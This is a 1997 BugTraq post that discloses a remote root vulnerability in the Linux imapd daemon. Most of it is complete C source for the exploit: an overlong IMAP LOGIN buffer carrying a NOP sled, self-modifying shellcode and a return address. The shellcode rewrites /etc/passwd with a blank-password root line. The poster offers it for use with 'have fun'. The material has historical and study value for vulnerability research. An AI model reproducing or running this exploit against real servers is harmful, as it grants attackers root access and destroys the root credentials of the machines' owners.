This may be really old news, but I haven't seen it here on BugTraq...
Linux Systems running the imapd server daemon can be remotely exploited
in a way that an attacker can gain root access to the system by changing
the root password field to being blank, I am not sure on the EXACT
details of this hole, and so I don't know the imapd versions that can be
exploited in this way.
I have enclosed the ONLY source for this exploit that I can find
anywhere, I have heard there are alot of other versions, including one
that spawns a root shell, I have this exploit in a precompiled version
which I can safely say work (I have only tested it on a Red Hat
machine), but I cannot obtain the source at this point for any other
versions of the remote exploit code.
So, here's the exploit source, that may not work at all :-)
/*
This is the remote exploit of the hole in the imap daemon, for
Linux. The instruction code is doing open(), write(), and close()
system calls, and it adds a line root::0:0.. at the beggining of
/etc/passwd (change to /etc/shadow if needed). The code needs to
be self modifying since imapd turns everything to lowercase before
it pushes it on the stack. The problem is that it rewrites the
first line of passwd/shadow, therefore loosing the root password.
I'm sorry, but I don't have time to add in the seek syscall.
- Akylonius (aky@galeb.etf.bg.ac.yu) [1997]
Modifications made on 5.1.97 to accept command line hostname, with
'h_to_ip' function that resolves it to an ip. - p1 (p1@el8.org)
*/
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <arpa/inet.h>
#include <netdb.h>
char *h_to_ip(char *hostname);
char *h_to_ip(char *hostname) {
struct hostent *h;
struct sockaddr_in tmp;
struct in_addr in;
h = gethostbyname(hostname);
if (h==NULL) { perror("Resolving the host. \n"); exit(-1); }
memcpy((caddr_t)&tmp.sin_addr.s_addr, h->h_addr, h->h_length);
memcpy(&in,&tmp.sin_addr.s_addr,4);
return(inet_ntoa(in));
}
void banner(void) {
system("clear");
printf("\nIMAP Exploit for Linux.\n");
printf("\n\tAuthor: Akylonius (aky@galeb.etf.bg.ac.yu)\n");
printf(" Modifications: p1 (p1@el8.org)\n");
}
main(int argc, char **argv) {
int fd;
struct sockaddr_in sckdaddr;
char *hostname;
char buf[4092];
int i=8;
char realegg[] =
"\xeb\x58\x5e"
"\x31\xdb\x83\xc3\x08\x83\xc3\x02\x88\x5e\x26"
"\x31\xdb\x83\xc3\x23\x83\xc3\x23\x88\x5e\xa8"
"\x31\xdb\x83\xc3\x26\x83\xc3\x30\x88\x5e\xc2"
"\x31\xc0\x88\x46\x0b\x89\xf3\x83\xc0\x05\x31"
"\xc9\x83\xc1\x01\x31\xd2\xcd\x80\x89\xc3\x31"
"\xc0\x83\xc0\x04\x31\xd2\x88\x56\x27\x89\xf1"
"\x83\xc1\x0c\x83\xc2\x1b\xcd\x80\x31\xc0\x83"
"\xc0\x06\xcd\x80\x31\xc0\x83\xc0\x01\xcd\x80"
"iamaselfmodifyingmonsteryeahiam\xe8\x83\xff\xff\xff"
"/etc/passwdxroot::0:0:r00t:/:/bin/bashx";
char *point = realegg;
buf[0]='*';
buf[1]=' ';
buf[2]='l';
buf[3]='o';
buf[4]='g';
buf[5]='i';
buf[6]='n';
buf[7]=' ';
banner();
if (argc<2) {
printf("\nUsage: %s <hostname>\n\n", argv[0]);
exit(-1);
}
hostname=argv[1];
while(i<1034-sizeof(realegg) -1) /* -sizeof(realegg)+1) */
buf[i++]=0x90;
while(*point)
buf[i++]=*(point++);
buf[i++]=0x83; /* ebp */
buf[i++]=0xf3;
buf[i++]=0xff;
buf[i++]=0xbf;
buf[i++]=0x88; /* ret adr */
buf[i++]=0xf8;
buf[i++]=0xff;
buf[i++]=0xbf;
buf[i++]=' ';
buf[i++]='b';
buf[i++]='a';
buf[i++]='h';
buf[i++]='\n';
buf[i++]=0x0;
if ((fd=socket(AF_INET,SOCK_STREAM,0))<0) perror("Error opening the
socket. \n");
sckdaddr.sin_port=htons(143);
sckdaddr.sin_family=AF_INET;
sckdaddr.sin_addr.s_addr=inet_addr(h_to_ip(hostname));
if (connect(fd,(struct sockaddr *) &sckdaddr, sizeof(sckdaddr)) < 0)
perror("Error with connecting. \n");
printf("hmm: \n");
getchar();
write(fd,buf,strlen(buf)+1);
printf("hmm: \n");
close(fd);
}
That's all there is to it, have fun...
so1o
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